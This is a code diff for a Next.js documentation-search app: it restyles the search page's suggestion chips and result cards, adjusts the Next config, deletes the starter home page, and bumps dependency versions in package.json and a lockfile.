|
||||
{/* Initial Suggestions */}
|
||||
{!loading && !query && (
|
||||
<div className="p-8 text-center bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl space-y-4 shadow-sm">
|
||||
<p className="text-xs text-[var(--text-muted)]">Popular search queries:</p>
|
||||
<div className="p-6 text-center bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl space-y-3 shadow-xs">
|
||||
<p className="text-[10px] font-mono uppercase tracking-wider text-[var(--text-muted)]">Popular Queries:</p>
|
||||
<div className="flex justify-center flex-wrap gap-2 text-xs">
|
||||
{["stack alignment", "ret2win", "bullmq worker", "streamable http", "full-text search", "caddy reverse proxy"].map((term) => (
|
||||
{[
|
||||
"stack alignment",
|
||||
"ret2win exploit",
|
||||
"bullmq worker",
|
||||
"streamable http",
|
||||
"full-text search",
|
||||
"caddy reverse proxy",
|
||||
"pgvector cosine",
|
||||
].map((term) => (
|
||||
<button
|
||||
key={term}
|
||||
onClick={() => {
|
||||
setQuery(term);
|
||||
handleSearch(term, mode);
|
||||
}}
|
||||
className="px-3 py-1 bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-md text-[var(--text-secondary)] hover:text-[var(--text-primary)] transition-colors"
|
||||
className="px-3 py-1 bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-md text-[var(--text-secondary)] hover:text-[var(--text-primary)] transition-all font-mono text-xs cursor-pointer"
|
||||
>
|
||||
{term}
|
||||
</button>
|
||||
@@ -226,40 +232,40 @@ function SearchContent() {
|
||||
|
||||
{/* Results List */}
|
||||
{!loading && filteredResults.length > 0 && (
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center justify-between text-xs text-[var(--text-dim)]">
|
||||
<div className="space-y-3 animate-fade-in">
|
||||
<div className="flex items-center justify-between text-xs text-[var(--text-dim)] font-mono">
|
||||
<span>Found {filteredResults.length} result{filteredResults.length !== 1 ? "s" : ""}</span>
|
||||
<span className="font-mono">Ranked by {mode} score</span>
|
||||
<span>Ranked by {mode} score</span>
|
||||
</div>
|
||||
|
||||
<div className="space-y-3">
|
||||
<div className="space-y-2.5">
|
||||
{filteredResults.map((r) => (
|
||||
<Link
|
||||
key={r.slug}
|
||||
href={`/${r.slug}`}
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-xl p-4 sm:p-5 transition-all shadow-sm"
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-xl p-4.5 transition-all shadow-xs"
|
||||
>
|
||||
<div className="flex items-center justify-between gap-3 mb-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs font-mono px-2 py-0.5 rounded bg-[#5e6ad2]/10 border border-[#5e6ad2]/30 text-[#5e6ad2] dark:text-[#7170ff] uppercase">
|
||||
<span className="text-[10px] font-mono px-1.5 py-0.2 rounded bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] uppercase font-semibold">
|
||||
{r.section}
|
||||
</span>
|
||||
<span className="text-xs text-[var(--text-dim)] font-mono truncate">
|
||||
/{r.slug}
|
||||
</span>
|
||||
</div>
|
||||
<span className="text-xs font-mono text-[var(--text-muted)] bg-[var(--bg-elevated)] border border-[var(--border-color)] px-2 py-0.5 rounded">
|
||||
Score: {r.score.toFixed(3)}
|
||||
<span className="text-xs font-mono text-[var(--text-dim)] bg-[var(--bg-elevated)] px-2 py-0.5 rounded">
|
||||
{r.score.toFixed(3)}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<h2 className="text-base font-semibold text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors mb-2">
|
||||
<h2 className="text-sm font-semibold text-[var(--text-primary)] group-hover:underline mb-1.5">
|
||||
{r.title}
|
||||
</h2>
|
||||
|
||||
{r.snippet && (
|
||||
<p
|
||||
className="text-xs text-[var(--text-muted)] leading-relaxed line-clamp-2 [&>mark]:bg-[#5e6ad2]/30 [&>mark]:text-[var(--text-primary)] [&>mark]:px-1 [&>mark]:rounded [&>mark]:font-medium"
|
||||
className="text-xs text-[var(--text-muted)] leading-relaxed line-clamp-2 [&>mark]:bg-[var(--bg-elevated-hover)] [&>mark]:text-[var(--text-primary)] [&>mark]:font-semibold"
|
||||
dangerouslySetInnerHTML={{ __html: r.snippet }}
|
||||
/>
|
||||
)}
|
||||
|
||||
@@ -3,7 +3,13 @@ import type { NextConfig } from "next";
|
||||
const nextConfig: NextConfig = {
|
||||
// @mcpedia/db pulls in the `postgres` driver + node:fs; keep it external to
|
||||
// the server bundle so it runs in the Node runtime as-is.
|
||||
serverExternalPackages: ["@mcpedia/db", "@mcpedia/config", "@mcpedia/parser"],
|
||||
serverExternalPackages: [
|
||||
"@mcpedia/core",
|
||||
"@mcpedia/db",
|
||||
"@mcpedia/config",
|
||||
"@mcpedia/parser",
|
||||
"@mcpedia/search",
|
||||
],
|
||||
};
|
||||
|
||||
export default nextConfig;
|
||||
@@ -14,21 +14,23 @@
|
||||
"@mcpedia/core": "workspace:*",
|
||||
"@tailwindcss/typography": "^0.5.20",
|
||||
"github-slugger": "^2.0.0",
|
||||
"next": "16.3.1",
|
||||
"lucide-react": "^1.33.0",
|
||||
"next": "16.3.3",
|
||||
"react": "19.2.8",
|
||||
"react-dom": "19.2.8",
|
||||
"react-markdown": "^9.0.0",
|
||||
"rehype-highlight": "^7.0.2",
|
||||
"rehype-slug": "^6.0.0",
|
||||
"remark-gfm": "^4.0.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4",
|
||||
"@types/hast": "^3.0.5",
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"@types/react": "^19",
|
||||
"@types/react-dom": "^19",
|
||||
"eslint": "^9",
|
||||
"eslint-config-next": "16.3.1",
|
||||
"eslint-config-next": "16.3.3",
|
||||
"tailwindcss": "^4",
|
||||
"typescript": "^5.6.0"
|
||||
}
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
import Image from "next/image";
|
||||
|
||||
export default function Home() {
|
||||
return (
|
||||
<div className="flex flex-col flex-1 items-center justify-center bg-zinc-50 font-sans dark:bg-black">
|
||||
<main className="flex flex-1 w-full max-w-3xl flex-col items-center justify-between py-32 px-16 bg-white dark:bg-black sm:items-start">
|
||||
<Image
|
||||
className="dark:invert h-5 w-[100px]"
|
||||
src="/next.svg"
|
||||
alt="Next.js logo"
|
||||
width={100}
|
||||
height={20}
|
||||
priority
|
||||
/>
|
||||
<div className="flex flex-col items-center gap-6 text-center sm:items-start sm:text-left">
|
||||
<h1 className="max-w-xs text-3xl font-semibold leading-10 tracking-tight text-black dark:text-zinc-50">
|
||||
To get started, edit the{" "}
|
||||
<code className="rounded bg-black/[.06] px-1.5 py-0.5 font-mono text-[0.9em] dark:bg-white/[.08]">
|
||||
page.tsx
|
||||
</code>{" "}
|
||||
file.
|
||||
</h1>
|
||||
<p className="max-w-md text-lg leading-8 text-zinc-600 dark:text-zinc-400">
|
||||
Looking for a starting point or more instructions? Head over to{" "}
|
||||
<a
|
||||
href="https://vercel.com/templates?framework=next.js&utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
|
||||
className="font-medium text-zinc-950 dark:text-zinc-50"
|
||||
>
|
||||
Templates
|
||||
</a>{" "}
|
||||
or the{" "}
|
||||
<a
|
||||
href="https://nextjs.org/learn?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
|
||||
className="font-medium text-zinc-950 dark:text-zinc-50"
|
||||
>
|
||||
Learning
|
||||
</a>{" "}
|
||||
center.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex flex-col gap-4 text-base font-medium sm:flex-row">
|
||||
<a
|
||||
className="flex h-12 w-full items-center justify-center gap-2 rounded-full bg-foreground px-5 text-background transition-colors hover:bg-[#383838] dark:hover:bg-[#ccc] md:w-[158px]"
|
||||
href="https://vercel.com/new?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<Image
|
||||
className="dark:invert h-[14px] w-4"
|
||||
src="/vercel.svg"
|
||||
alt="Vercel logomark"
|
||||
width={16}
|
||||
height={14}
|
||||
/>
|
||||
Deploy Now
|
||||
</a>
|
||||
<a
|
||||
className="flex h-12 w-full items-center justify-center rounded-full border border-solid border-black/[.08] px-5 transition-colors hover:border-transparent hover:bg-black/[.04] dark:border-white/[.145] dark:hover:bg-[#1a1a1a] md:w-[158px]"
|
||||
href="https://nextjs.org/docs?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
Documentation
|
||||
</a>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -45,7 +45,7 @@
|
||||
"zod": "^4.0.0",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"typescript": "^5.6.0",
|
||||
},
|
||||
},
|
||||
@@ -60,7 +60,7 @@
|
||||
"zod": "^4.0.0",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"typescript": "^5.6.0",
|
||||
},
|
||||
},
|
||||
@@ -72,21 +72,23 @@
|
||||
"@mcpedia/core": "workspace:*",
|
||||
"@tailwindcss/typography": "^0.5.20",
|
||||
"github-slugger": "^2.0.0",
|
||||
"next": "16.3.1",
|
||||
"lucide-react": "^1.33.0",
|
||||
"next": "16.3.3",
|
||||
"react": "19.2.8",
|
||||
"react-dom": "19.2.8",
|
||||
"react-markdown": "^9.0.0",
|
||||
"rehype-highlight": "^7.0.2",
|
||||
"rehype-slug": "^6.0.0",
|
||||
"remark-gfm": "^4.0.1",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4",
|
||||
"@types/hast": "^3.0.5",
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"@types/react": "^19",
|
||||
"@types/react-dom": "^19",
|
||||
"eslint": "^9",
|
||||
"eslint-config-next": "16.3.1",
|
||||
"eslint-config-next": "16.3.3",
|
||||
"tailwindcss": "^4",
|
||||
"typescript": "^5.6.0",
|
||||
},
|
||||
@@ -121,7 +123,8 @@
|
||||
"@mcpedia/parser": "workspace:*",
|
||||
"@mcpedia/search": "workspace:*",
|
||||
"@mcpedia/types": "workspace:*",
|
||||
"drizzle-orm": "^0.38.0",
|
||||
"docx": "^9.7.1",
|
||||
"drizzle-orm": "^0.45.2",
|
||||
},
|
||||
},
|
||||
"packages/db": {
|
||||
@@ -129,12 +132,12 @@
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"@mcpedia/config": "workspace:*",
|
||||
"drizzle-orm": "^0.38.0",
|
||||
"drizzle-orm": "^0.45.2",
|
||||
"postgres": "^3.4.5",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20",
|
||||
"drizzle-kit": "^0.30.0",
|
||||
"@types/node": "^26",
|
||||
"drizzle-kit": "^0.31.10",
|
||||
},
|
||||
},
|
||||
"packages/embeddings": {
|
||||
@@ -177,7 +180,7 @@
|
||||
"@mcpedia/db": "workspace:*",
|
||||
"@mcpedia/embeddings": "workspace:*",
|
||||
"@mcpedia/types": "workspace:*",
|
||||
"drizzle-orm": "^0.38.0",
|
||||
"drizzle-orm": "^0.45.2",
|
||||
},
|
||||
},
|
||||
"packages/types": {
|
||||
@@ -195,7 +198,7 @@
|
||||
"@mcpedia/parser": "workspace:*",
|
||||
"@mcpedia/queue": "workspace:*",
|
||||
"@mcpedia/search": "workspace:*",
|
||||
"drizzle-orm": "^0.38.0",
|
||||
"drizzle-orm": "^0.45.2",
|
||||
"postgres": "^3.4.5",
|
||||
},
|
||||
},
|
||||
@@ -247,51 +250,57 @@
|
||||
|
||||
"@esbuild-kit/esm-loader": ["@esbuild-kit/esm-loader@2.6.5", "", { "dependencies": { "@esbuild-kit/core-utils": "^3.3.2", "get-tsconfig": "^4.7.0" } }, "sha512-FxEMIkJKnodyA1OaCUoEvbYRkoZlLZ4d/eXFu9Fh8CbBBgP5EmZxrfTRyN0qpXZ4vOvqnE5YdRdcrmUUXuU+dA=="],
|
||||
|
||||
"@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.19.12", "", { "os": "aix", "cpu": "ppc64" }, "sha512-bmoCYyWdEL3wDQIVbcyzRyeKLgk2WtWLTWz1ZIAZF/EGbNOwSA6ew3PftJ1PqMiOOGu0OyFMzG53L0zqIpPeNA=="],
|
||||
"@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.12", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA=="],
|
||||
|
||||
"@esbuild/android-arm": ["@esbuild/android-arm@0.19.12", "", { "os": "android", "cpu": "arm" }, "sha512-qg/Lj1mu3CdQlDEEiWrlC4eaPZ1KztwGJ9B6J+/6G+/4ewxJg7gqj8eVYWvao1bXrqGiW2rsBZFSX3q2lcW05w=="],
|
||||
"@esbuild/android-arm": ["@esbuild/android-arm@0.25.12", "", { "os": "android", "cpu": "arm" }, "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg=="],
|
||||
|
||||
"@esbuild/android-arm64": ["@esbuild/android-arm64@0.19.12", "", { "os": "android", "cpu": "arm64" }, "sha512-P0UVNGIienjZv3f5zq0DP3Nt2IE/3plFzuaS96vihvD0Hd6H/q4WXUGpCxD/E8YrSXfNyRPbpTq+T8ZQioSuPA=="],
|
||||
"@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.12", "", { "os": "android", "cpu": "arm64" }, "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg=="],
|
||||
|
||||
"@esbuild/android-x64": ["@esbuild/android-x64@0.19.12", "", { "os": "android", "cpu": "x64" }, "sha512-3k7ZoUW6Q6YqhdhIaq/WZ7HwBpnFBlW905Fa4s4qWJyiNOgT1dOqDiVAQFwBH7gBRZr17gLrlFCRzF6jFh7Kew=="],
|
||||
"@esbuild/android-x64": ["@esbuild/android-x64@0.25.12", "", { "os": "android", "cpu": "x64" }, "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg=="],
|
||||
|
||||
"@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.19.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-B6IeSgZgtEzGC42jsI+YYu9Z3HKRxp8ZT3cqhvliEHovq8HSX2YX8lNocDn79gCKJXOSaEot9MVYky7AKjCs8g=="],
|
||||
"@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg=="],
|
||||
|
||||
"@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.19.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-hKoVkKzFiToTgn+41qGhsUJXFlIjxI/jSYeZf3ugemDYZldIXIxhvwN6erJGlX4t5h417iFuheZ7l+YVn05N3A=="],
|
||||
"@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA=="],
|
||||
|
||||
"@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.19.12", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-4aRvFIXmwAcDBw9AueDQ2YnGmz5L6obe5kmPT8Vd+/+x/JMVKCgdcRwH6APrbpNXsPz+K653Qg8HB/oXvXVukA=="],
|
||||
"@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.12", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg=="],
|
||||
|
||||
"@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.19.12", "", { "os": "freebsd", "cpu": "x64" }, "sha512-EYoXZ4d8xtBoVN7CEwWY2IN4ho76xjYXqSXMNccFSx2lgqOG/1TBPW0yPx1bJZk94qu3tX0fycJeeQsKovA8gg=="],
|
||||
"@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.12", "", { "os": "freebsd", "cpu": "x64" }, "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ=="],
|
||||
|
||||
"@esbuild/linux-arm": ["@esbuild/linux-arm@0.19.12", "", { "os": "linux", "cpu": "arm" }, "sha512-J5jPms//KhSNv+LO1S1TX1UWp1ucM6N6XuL6ITdKWElCu8wXP72l9MM0zDTzzeikVyqFE6U8YAV9/tFyj0ti+w=="],
|
||||
"@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.12", "", { "os": "linux", "cpu": "arm" }, "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw=="],
|
||||
|
||||
"@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.19.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-EoTjyYyLuVPfdPLsGVVVC8a0p1BFFvtpQDB/YLEhaXyf/5bczaGeN15QkR+O4S5LeJ92Tqotve7i1jn35qwvdA=="],
|
||||
"@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ=="],
|
||||
|
||||
"@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.19.12", "", { "os": "linux", "cpu": "ia32" }, "sha512-Thsa42rrP1+UIGaWz47uydHSBOgTUnwBwNq59khgIwktK6x60Hivfbux9iNR0eHCHzOLjLMLfUMLCypBkZXMHA=="],
|
||||
"@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.12", "", { "os": "linux", "cpu": "ia32" }, "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA=="],
|
||||
|
||||
"@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.19.12", "", { "os": "linux", "cpu": "none" }, "sha512-LiXdXA0s3IqRRjm6rV6XaWATScKAXjI4R4LoDlvO7+yQqFdlr1Bax62sRwkVvRIrwXxvtYEHHI4dm50jAXkuAA=="],
|
||||
"@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng=="],
|
||||
|
||||
"@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.19.12", "", { "os": "linux", "cpu": "none" }, "sha512-fEnAuj5VGTanfJ07ff0gOA6IPsvrVHLVb6Lyd1g2/ed67oU1eFzL0r9WL7ZzscD+/N6i3dWumGE1Un4f7Amf+w=="],
|
||||
"@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw=="],
|
||||
|
||||
"@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.19.12", "", { "os": "linux", "cpu": "ppc64" }, "sha512-nYJA2/QPimDQOh1rKWedNOe3Gfc8PabU7HT3iXWtNUbRzXS9+vgB0Fjaqr//XNbd82mCxHzik2qotuI89cfixg=="],
|
||||
"@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.12", "", { "os": "linux", "cpu": "ppc64" }, "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA=="],
|
||||
|
||||
"@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.19.12", "", { "os": "linux", "cpu": "none" }, "sha512-2MueBrlPQCw5dVJJpQdUYgeqIzDQgw3QtiAHUC4RBz9FXPrskyyU3VI1hw7C0BSKB9OduwSJ79FTCqtGMWqJHg=="],
|
||||
"@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w=="],
|
||||
|
||||
"@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.19.12", "", { "os": "linux", "cpu": "s390x" }, "sha512-+Pil1Nv3Umes4m3AZKqA2anfhJiVmNCYkPchwFJNEJN5QxmTs1uzyy4TvmDrCRNT2ApwSari7ZIgrPeUx4UZDg=="],
|
||||
"@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.12", "", { "os": "linux", "cpu": "s390x" }, "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg=="],
|
||||
|
||||
"@esbuild/linux-x64": ["@esbuild/linux-x64@0.19.12", "", { "os": "linux", "cpu": "x64" }, "sha512-B71g1QpxfwBvNrfyJdVDexenDIt1CiDN1TIXLbhOw0KhJzE78KIFGX6OJ9MrtC0oOqMWf+0xop4qEU8JrJTwCg=="],
|
||||
"@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.12", "", { "os": "linux", "cpu": "x64" }, "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw=="],
|
||||
|
||||
"@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.19.12", "", { "os": "none", "cpu": "x64" }, "sha512-3ltjQ7n1owJgFbuC61Oj++XhtzmymoCihNFgT84UAmJnxJfm4sYCiSLTXZtE00VWYpPMYc+ZQmB6xbSdVh0JWA=="],
|
||||
"@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg=="],
|
||||
|
||||
"@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.19.12", "", { "os": "openbsd", "cpu": "x64" }, "sha512-RbrfTB9SWsr0kWmb9srfF+L933uMDdu9BIzdA7os2t0TXhCRjrQyCeOt6wVxr79CKD4c+p+YhCj31HBkYcXebw=="],
|
||||
"@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.12", "", { "os": "none", "cpu": "x64" }, "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ=="],
|
||||
|
||||
"@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.19.12", "", { "os": "sunos", "cpu": "x64" }, "sha512-HKjJwRrW8uWtCQnQOz9qcU3mUZhTUQvi56Q8DPTLLB+DawoiQdjsYq+j+D3s9I8VFtDr+F9CjgXKKC4ss89IeA=="],
|
||||
"@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.12", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A=="],
|
||||
|
||||
"@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.19.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-URgtR1dJnmGvX864pn1B2YUYNzjmXkuJOIqG2HdU62MVS4EHpU2946OZoTMnRUHklGtJdJZ33QfzdjGACXhn1A=="],
|
||||
"@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.12", "", { "os": "openbsd", "cpu": "x64" }, "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw=="],
|
||||
|
||||
"@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.19.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-+ZOE6pUkMOJfmxmBZElNOx72NKpIa/HFOMGzu8fqzQJ5kgf6aTGrcJaFsNiVMH4JKpMipyK+7k0n2UXN7a8YKQ=="],
|
||||
"@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg=="],
|
||||
|
||||
"@esbuild/win32-x64": ["@esbuild/win32-x64@0.19.12", "", { "os": "win32", "cpu": "x64" }, "sha512-T1QyPSDCyMXaO3pzBkF96E8xMkiRYbUEZADd29SyPGabqxMViNoii+NcK7eWJAEoU6RZyEm5lVSIjTmcdoB9HA=="],
|
||||
"@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.12", "", { "os": "sunos", "cpu": "x64" }, "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w=="],
|
||||
|
||||
"@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg=="],
|
||||
|
||||
"@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
|
||||
|
||||
"@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
|
||||
|
||||
"@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.10.1", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg=="],
|
||||
|
||||
@@ -433,25 +442,25 @@
|
||||
|
||||
"@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.2.3", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.4", "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4" } }, "sha512-UMduMbqO5s5zF2NkNacMT/yK5Y5QiKvWr2+50bzIIxFDwVJ2h49b+oyjaCGPhJxd2/gC2x39EHv/gHVuu36x2Q=="],
|
||||
|
||||
"@next/env": ["@next/env@16.3.1", "", {}, "sha512-35G3xwkQUb2oETSDjFXGrVugknoayLFBh7vSE+yAcl9IP2zT9wyGwq7297AYHR11kJld807t5f8AJBs6WBzXsQ=="],
|
||||
"@next/env": ["@next/env@16.3.3", "", {}, "sha512-U2eYQRwXj+dsqxV79zFqExDdatnNY/ZWc2nsJU1p/OgT7fd3dXwlF6OjYaFQCfMoeTA19PWq+wVmYgimVA+V+g=="],
|
||||
|
||||
"@next/eslint-plugin-next": ["@next/eslint-plugin-next@16.3.1", "", { "dependencies": { "@eslint-community/eslint-utils": "4.9.1", "fast-glob": "3.3.1" } }, "sha512-B4SznlXwVpaLDa7Tbi6zLuueria2d/PmFDhXyDymPGrk2r1n/RMJmcn5FZq1L64k+Jsyte1lKvOr7lP9Xo80mQ=="],
|
||||
